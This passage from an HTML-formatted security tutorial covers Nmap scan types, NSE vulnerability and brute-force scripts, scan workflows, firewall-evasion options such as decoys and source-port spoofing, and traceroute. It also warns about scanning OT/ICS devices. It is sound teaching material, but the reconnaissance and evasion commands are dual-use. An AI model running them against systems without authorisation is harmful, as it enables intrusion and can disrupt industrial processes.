&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Sends SYN, waits for SYN-ACK (open) or RST (closed)&lt;/span&gt;
&lt;span class="c"&gt;# Never completes TCP handshake → fewer logs on target&lt;/span&gt;
&lt;span class="c"&gt;# Open: received SYN-ACK, sent RST&lt;/span&gt;
&lt;span class="c"&gt;# Closed: received RST&lt;/span&gt;
&lt;span class="c"&gt;# Filtered: no response or ICMP unreachable&lt;/span&gt;

&lt;span class="c"&gt;# TCP Connect Scan — default without root (full connection):&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Completes full TCP handshake&lt;/span&gt;
&lt;span class="c"&gt;# Generates connection logs on target&lt;/span&gt;
&lt;span class="c"&gt;# Works without raw socket privileges&lt;/span&gt;

&lt;span class="c"&gt;# UDP Scan:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Sends UDP probe to each port&lt;/span&gt;
&lt;span class="c"&gt;# Open: receives UDP response (rare — most UDP services don't respond to probes)&lt;/span&gt;
&lt;span class="c"&gt;# Closed: receives ICMP port unreachable&lt;/span&gt;
&lt;span class="c"&gt;# Filtered: no response (or ICMP admin prohibited)&lt;/span&gt;
&lt;span class="c"&gt;# Open|Filtered: no response (could be open or filtered — can't tell)&lt;/span&gt;
&lt;span class="c"&gt;# SLOW: waiting for ICMP responses + rate limiting&lt;/span&gt;

&lt;span class="c"&gt;# Port specification:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; 80         &lt;span class="c"&gt;# Single port&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443,22  &lt;span class="c"&gt;# Multiple ports&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; 1-1024     &lt;span class="c"&gt;# Port range&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p-&lt;/span&gt;           &lt;span class="c"&gt;# All 65535 ports&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; U:53,T:22  &lt;span class="c"&gt;# UDP 53 and TCP 22&lt;/span&gt;

&lt;span class="c"&gt;# Top ports scan (common ports first):&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;--top-ports&lt;/span&gt; 100    &lt;span class="c"&gt;# Scan 100 most common ports&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;--top-ports&lt;/span&gt; 1000   &lt;span class="c"&gt;# Top 1000 (faster than -p-)&lt;/span&gt;

&lt;span class="c"&gt;# Fast scan:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; 192.168.1.100             &lt;span class="c"&gt;# -F = fast (top 100 ports only)&lt;/span&gt;

&lt;span class="c"&gt;# Version detection:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 192.168.1.100                &lt;span class="c"&gt;# Detect service versions&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--version-intensity&lt;/span&gt; 5        &lt;span class="c"&gt;# Intensity 0-9 (0=light, 9=all probes)&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--version-all&lt;/span&gt;                &lt;span class="c"&gt;# Maximum version probing&lt;/span&gt;

&lt;span class="c"&gt;# OS detection:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; 192.168.1.100            &lt;span class="c"&gt;# OS fingerprinting&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nt"&gt;--osscan-guess&lt;/span&gt;           &lt;span class="c"&gt;# Guess even if not certain&lt;/span&gt;

&lt;span class="c"&gt;# Aggressive scan (combines -sV -O -sC --traceroute):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; 192.168.1.100            &lt;span class="c"&gt;# Aggressive — comprehensive but noisy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Nmap Scripting Engine (NSE)
&lt;/h3&gt;

&lt;p&gt;NSE is one of Nmap's most powerful features — scripts that perform automated detection, exploitation, and information gathering.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Default scripts (safe, commonly useful):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; 192.168.1.100          &lt;span class="c"&gt;# Run default scripts&lt;/span&gt;
&lt;span class="c"&gt;# Equivalent to: --script=default&lt;/span&gt;

&lt;span class="c"&gt;# Specific script:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-vuln-ms17-010 &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.100   &lt;span class="c"&gt;# Check EternalBlue&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-title &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 192.168.1.0/24      &lt;span class="c"&gt;# Get web page titles&lt;/span&gt;

&lt;span class="c"&gt;# Script categories:&lt;/span&gt;
&lt;span class="c"&gt;# auth: authentication bypass/brute force&lt;/span&gt;
&lt;span class="c"&gt;# broadcast: network discovery via broadcast&lt;/span&gt;
&lt;span class="c"&gt;# brute: brute force authentication&lt;/span&gt;
&lt;span class="c"&gt;# default: safe, common scripts (run with -sC)&lt;/span&gt;
&lt;span class="c"&gt;# discovery: enumerate network info&lt;/span&gt;
&lt;span class="c"&gt;# dos: denial of service&lt;/span&gt;
&lt;span class="c"&gt;# exploit: exploitation scripts (use carefully)&lt;/span&gt;
&lt;span class="c"&gt;# external: queries external services&lt;/span&gt;
&lt;span class="c"&gt;# fuzzer: send fuzzing data&lt;/span&gt;
&lt;span class="c"&gt;# intrusive: may crash target systems&lt;/span&gt;
&lt;span class="c"&gt;# malware: detect malware&lt;/span&gt;
&lt;span class="c"&gt;# safe: won't cause harm&lt;/span&gt;
&lt;span class="c"&gt;# version: version detection&lt;/span&gt;
&lt;span class="c"&gt;# vuln: check for known vulnerabilities&lt;/span&gt;

&lt;span class="c"&gt;# Vulnerability scanning scripts:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; vuln 192.168.1.100     &lt;span class="c"&gt;# All vulnerability scripts&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; vuln &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.0/24  &lt;span class="c"&gt;# SMB vulns on network&lt;/span&gt;

&lt;span class="c"&gt;# Critical vulnerability scripts:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-vuln-ms17-010 &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.0/24   &lt;span class="c"&gt;# EternalBlue&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; rdp-vuln-ms12-020 &lt;span class="nt"&gt;-p&lt;/span&gt; 3389 192.168.1.100   &lt;span class="c"&gt;# RDP vuln&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-heartbleed &lt;span class="nt"&gt;-p&lt;/span&gt; 443 192.168.1.100        &lt;span class="c"&gt;# Heartbleed&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-poodle &lt;span class="nt"&gt;-p&lt;/span&gt; 443 192.168.1.100            &lt;span class="c"&gt;# POODLE&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-shellshock &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 192.168.1.100    &lt;span class="c"&gt;# Shellshock&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-security-mode &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.0/24   &lt;span class="c"&gt;# SMB signing&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; snmp-brute &lt;span class="nt"&gt;-p&lt;/span&gt; 161 192.168.1.0/24          &lt;span class="c"&gt;# SNMP communities&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ftp-anon &lt;span class="nt"&gt;-p&lt;/span&gt; 21 192.168.1.0/24             &lt;span class="c"&gt;# Anonymous FTP&lt;/span&gt;

&lt;span class="c"&gt;# Information gathering scripts:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; dns-brute &lt;span class="nt"&gt;--script-args&lt;/span&gt; dns-brute.domain&lt;span class="o"&gt;=&lt;/span&gt;target.com  &lt;span class="c"&gt;# Subdomain enum&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ldap-search &lt;span class="nt"&gt;-p&lt;/span&gt; 389 192.168.1.10           &lt;span class="c"&gt;# LDAP enumeration&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-enum-shares &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.100      &lt;span class="c"&gt;# SMB shares&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-enum-users &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.100       &lt;span class="c"&gt;# SMB user enum&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; http-enum &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 192.168.1.100         &lt;span class="c"&gt;# Web paths&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; banner &lt;span class="nt"&gt;-p&lt;/span&gt; 21,22,25,80 192.168.1.100       &lt;span class="c"&gt;# Service banners&lt;/span&gt;

&lt;span class="c"&gt;# ICS/OT scripts:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; modbus-discover &lt;span class="nt"&gt;-p&lt;/span&gt; 502 192.168.1.0/24     &lt;span class="c"&gt;# Modbus devices&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; s7-info &lt;span class="nt"&gt;-p&lt;/span&gt; 102 192.168.1.0/24             &lt;span class="c"&gt;# Siemens S7 PLCs&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; dnp3-info &lt;span class="nt"&gt;-p&lt;/span&gt; 20000 192.168.1.0/24         &lt;span class="c"&gt;# DNP3 devices&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; bacnet-info &lt;span class="nt"&gt;-p&lt;/span&gt; 47808 192.168.1.0/24       &lt;span class="c"&gt;# BACnet devices&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; enip-info &lt;span class="nt"&gt;-p&lt;/span&gt; 44818 192.168.1.0/24         &lt;span class="c"&gt;# EtherNet/IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.5 Nmap Output Formats
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Output formats:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; output.txt 192.168.1.0/24      &lt;span class="c"&gt;# Normal (human readable)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oX&lt;/span&gt; output.xml 192.168.1.0/24      &lt;span class="c"&gt;# XML (machine readable, Metasploit import)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oG&lt;/span&gt; output.gnmap 192.168.1.0/24    &lt;span class="c"&gt;# Grepable format&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; output 192.168.1.0/24          &lt;span class="c"&gt;# All formats (.nmap, .xml, .gnmap)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-oJ&lt;/span&gt; output.json 192.168.1.0/24     &lt;span class="c"&gt;# JSON (with -oX then convert)&lt;/span&gt;

&lt;span class="c"&gt;# Grep from grepable output:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"80/open"&lt;/span&gt; output.gnmap | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;   &lt;span class="c"&gt;# IPs with port 80 open&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Ports:"&lt;/span&gt; output.gnmap | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f2-&lt;/span&gt;      &lt;span class="c"&gt;# Extract port lists&lt;/span&gt;

&lt;span class="c"&gt;# Parse XML with Python:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import xml.etree.ElementTree as ET

tree = ET.parse('output.xml')
root = tree.getroot()

for host in root.findall('host'):
    status = host.find('status').get('state')
    if status == 'up':
        addr = host.find('address').get('addr')
        print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Host: {addr}")

        ports = host.find('ports')
        if ports:
            for port in ports.findall('port'):
                if port.find('state').get('state') == 'open':
                    portid = port.get('portid')
                    service = port.find('service')
                    svc = service.get('name', 'unknown') if service is not None else 'unknown'
                    version = service.get('product', '') if service is not None else ''
                    print(f"  {portid}/tcp  {svc}  {version}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.6 Nmap for Security Assessments — Practical Workflows
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Phase 1: Discovery&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;-oA&lt;/span&gt; phase1_discovery
&lt;span class="c"&gt;# Identify live hosts first&lt;/span&gt;

&lt;span class="c"&gt;# Phase 2: Port scan of live hosts&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Up"&lt;/span&gt; phase1_discovery.gnmap | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; live_hosts.txt
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; phase2_ports
&lt;span class="c"&gt;# -iL: read hosts from file&lt;/span&gt;
&lt;span class="c"&gt;# --open: only show open ports (reduce output)&lt;/span&gt;
&lt;span class="c"&gt;# -p-: all 65535 ports&lt;/span&gt;
&lt;span class="c"&gt;# -T4: aggressive timing&lt;/span&gt;

&lt;span class="c"&gt;# Phase 3: Version detection on open ports&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"open"&lt;/span&gt; phase2_ports.gnmap | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hosts_with_ports.txt
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-iL&lt;/span&gt; hosts_with_ports.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; phase3_versions

&lt;span class="c"&gt;# Phase 4: Vulnerability assessment&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; vuln &lt;span class="nt"&gt;-iL&lt;/span&gt; hosts_with_ports.txt &lt;span class="nt"&gt;-oA&lt;/span&gt; phase4_vulns

&lt;span class="c"&gt;# Combine phases for efficiency:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt; vuln &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iL&lt;/span&gt; live_hosts.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-oA&lt;/span&gt; comprehensive_scan

&lt;span class="c"&gt;# Evasion techniques:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-T1&lt;/span&gt; 192.168.1.100              &lt;span class="c"&gt;# Paranoid timing (very slow)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--scan-delay&lt;/span&gt; 1s 192.168.1.100  &lt;span class="c"&gt;# 1 second between probes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; 192.168.1.100               &lt;span class="c"&gt;# Fragment packets (8-byte fragments)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; RND:10 192.168.1.100        &lt;span class="c"&gt;# Decoy scan (10 random decoys)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--source-port&lt;/span&gt; 53 192.168.1.100 &lt;span class="c"&gt;# Spoof source port (bypass some firewalls)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--data-length&lt;/span&gt; 25 192.168.1.100 &lt;span class="c"&gt;# Add random data to packets&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.7 Nmap in OT/ICS Environments — Critical Warnings
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WARNING: Nmap in OT/ICS environments requires extreme caution.

Industrial devices differ from IT devices in their response to scanning:

1. PLCs (Programmable Logic Controllers):
   May CRASH or RESTART when receiving unexpected packets
   A PLC restart in a manufacturing environment = production stop
   A PLC restart during a chemical process = potential safety incident

2. RTUs (Remote Terminal Units):
   Some legacy RTUs have limited TCP stack resources
   Port scan may exhaust connection table → device stops responding

3. Network Switches (industrial grade):
   Some Hirschmann, Moxa switches have bugs triggered by SYN scans
   May cause port to err-disable or switch to restart

4. Safety Systems:
   Safety PLCs (SIS — Safety Instrumented Systems) are the most critical
   ANY unexpected interaction with a SIS can trigger a demand
   A spurious demand on safety system = unplanned process shutdown or worse
   NEVER scan safety systems without explicit written vendor approval

Safe alternatives for OT asset discovery:
  1. Passive monitoring (tcpdump/Wireshark — no traffic injection)
  2. ARP scan only (Layer 2, generally safe): nmap -sn -PR 192.168.1.0/24
  3. ICMP ping only (usually safe): nmap -sn -PE 192.168.1.0/24
  4. SNMP queries to known management IPs (pre-approved)
  5. Review existing asset inventory documentation
  6. Query SCADA/HMI system for known device list

If active scanning is required:
  - Get written approval from operations/safety team
  - Schedule during planned maintenance window
  - Have operations team monitor process for abnormal behaviour
  - Have rollback plan ready
  - Start with single host, verify it doesn't cause issues
  - Use slow timing (-T1 or custom delays)
  - Never use -A, -sV, or NSE scripts on unknown OT devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Nmap's NSE scripting makes it not just a scanner but a vulnerability assessment platform. The &lt;code&gt;smb-vuln-ms17-010&lt;/code&gt; script checks for EternalBlue with one command; &lt;code&gt;modbus-discover&lt;/code&gt; identifies Modbus devices and queries their status. In OT environments, however, Nmap requires discipline — the wrong scan against the wrong device can stop production or create safety hazards. Passive tools first, active tools only with explicit approval.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Traceroute and Tracert — Path Discovery
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 How Traceroute Works
&lt;/h3&gt;

&lt;p&gt;Traceroute reveals the path that packets take from source to destination by exploiting TTL (Time to Live) expiration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traceroute Mechanism:

Packet 1: TTL=1
  Source → [Router 1] → TTL decrements to 0 → Router 1 discards packet
  Router 1 sends back: ICMP Time Exceeded (Type 11, Code 0)
  Source records: Router 1's IP, round-trip time

Packet 2: TTL=2
  Source → [Router 1] → TTL=1 → [Router 2] → TTL=0 → Router 2 discards
  Router 2 sends back: ICMP Time Exceeded
  Source records: Router 2's IP, RTT

Packet 3: TTL=3
  Source → Router 1 → Router 2 → [Router 3] → TTL=0 → Time Exceeded
  ...continues until destination reached

Final Packet: TTL = number of hops
  Destination receives packet → responds normally
  Linux: ICMP Port Unreachable (UDP probe to unlikely port)
  Windows: ICMP Echo Reply

Each hop shows:
  * = no response (firewall drops ICMP, timeout)
  IP address = router's interface address
  RTT (3 measurements) = latency at that hop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 Traceroute Variants
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux traceroute (uses UDP by default):&lt;/span&gt;
traceroute google.com
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; google.com              &lt;span class="c"&gt;# -n: numeric, no DNS resolution&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-T&lt;/span&gt; google.com              &lt;span class="c"&gt;# TCP SYN (bypasses firewalls blocking UDP/ICMP)&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 google.com        &lt;span class="c"&gt;# TCP SYN to port 80&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-I&lt;/span&gt; google.com              &lt;span class="c"&gt;# ICMP echo (like Windows tracert)&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-q&lt;/span&gt; 1 google.com            &lt;span class="c"&gt;# -q 1: one probe per hop (faster)&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-w&lt;/span&gt; 2 google.com            &lt;span class="c"&gt;# -w 2: 2 second timeout per probe&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-m&lt;/span&gt; 30 google.com           &lt;span class="c"&gt;# -m 30: max 30 hops&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-s&lt;/span&gt; 192.168.1.5 google.com  &lt;span class="c"&gt;# -s: source IP to use&lt;/span&gt;
traceroute &lt;span class="nt"&gt;--back&lt;/span&gt; google.com          &lt;span class="c"&gt;# Show asymmetric return path&lt;/span&gt;

&lt;span class="c"&gt;# Windows tracert:&lt;/span&gt;
tracert google.com
tracert &lt;span class="nt"&gt;-d&lt;/span&gt; google.com                 &lt;span class="c"&gt;# -d: no DNS resolution&lt;/span&gt;
tracert &lt;span class="nt"&gt;-h&lt;/span&gt; 30 google.com              &lt;span class="c"&gt;# -h: max hops&lt;/span&gt;
tracert &lt;span class="nt"&gt;-w&lt;/span&gt; 3000 google.com            &lt;span class="c"&gt;# -w: timeout in milliseconds&lt;/span&gt;

&lt;span class="c"&gt;# mtr (My TraceRoute) — combines ping + traceroute, real-time:&lt;/span&gt;
mtr google.com                        &lt;span class="c"&gt;# Interactive real-time view&lt;/span&gt;
mtr &lt;span class="nt"&gt;--report&lt;/span&gt; google.com               &lt;span class="c"&gt;# Generate report&lt;/span&gt;
mtr &lt;span class="nt"&gt;--report-cycles&lt;/span&gt; 10 google.com     &lt;span class="c"&gt;# 10 cycles then report&lt;/span&gt;
mtr &lt;span class="nt"&gt;--no-dns&lt;/span&gt; google.com               &lt;span class="c"&gt;# No DNS resolution&lt;/span&gt;

&lt;span class="c"&gt;# TCP traceroute variants:&lt;/span&gt;
tcptraceroute 192.168.1.1 22          &lt;span class="c"&gt;# TCP traceroute to SSH port&lt;/span&gt;
hping3 &lt;span class="nt"&gt;--traceroute&lt;/span&gt; &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-S&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1  &lt;span class="c"&gt;# hping3 TCP SYN traceroute&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Security Analysis with Traceroute
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Trace to identify network topology:&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Reveals: number of hops, intermediate router IPs, asymmetric paths&lt;/span&gt;
&lt;span class="c"&gt;# Security use: map network architecture without access to topology docs&lt;/span&gt;

&lt;span class="c"&gt;# Identify firewall locations:&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8
&lt;span class="c"&gt;# Where hops stop responding (*** ***) = likely firewall&lt;/span&gt;
&lt;span class="c"&gt;# Where latency jumps significantly = network boundary&lt;/span&gt;

&lt;span class="c"&gt;# Detect MPLS networks (ISP infrastructure):&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8
&lt;span class="c"&gt;# MPLS hops may show 0ms or very low latency (hardware switching)&lt;/span&gt;

